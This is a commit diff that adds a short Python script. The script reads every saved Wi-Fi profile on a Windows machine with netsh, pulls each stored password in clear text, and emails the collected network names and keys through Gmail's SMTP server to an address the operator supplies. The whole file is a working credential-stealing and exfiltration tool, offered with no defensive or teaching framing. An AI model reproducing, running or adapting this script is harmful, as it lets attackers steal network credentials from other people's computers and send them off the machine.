|
| 1 | +import subprocess |
| 2 | +import smtplib |
| 3 | + |
| 4 | +def send_mail(email,password,message): |
| 5 | + |
| 6 | + server = smtplib.SMTP("smtp.gmail.com",587) |
| 7 | + server.starttls() |
| 8 | + server.login(email,password) |
| 9 | + server.sendmail(email,email,message) |
| 10 | + server.quit() |
| 11 | + |
| 12 | +email=input("[+] Enter Email on which you want to recieve WIFI passwords: ") |
| 13 | +print("[-] please enable -less secured apps- to recieve an email") |
| 14 | +password = input("[+] Enter Password : ") |
| 15 | + |
| 16 | +listi = [] |
| 17 | +data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n') |
| 18 | +profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i] |
| 19 | +for i in profiles: |
| 20 | + results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n') |
| 21 | + results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] |
| 22 | + try: |
| 23 | + listi.append(("{:<30}| {:<}".format(i, results[0]))) |
| 24 | + except IndexError: |
| 25 | + listi.append("{:<30}| {:<}".format(i, "")) |
| 26 | + |
| 27 | +res="" |
| 28 | +for msg in listi: |
| 29 | + res = res + msg +"\n" |
| 30 | +# print(res) |
| 31 | +try: |
| 32 | + send_mail(email, password, res) |
| 33 | + print("[+] email successfully sent\n") |
| 34 | +except smtplib.SMTPAuthenticationError: |
| 35 | + print("[+] Incorrect Email or Password") |
| 36 | + |
0 commit comments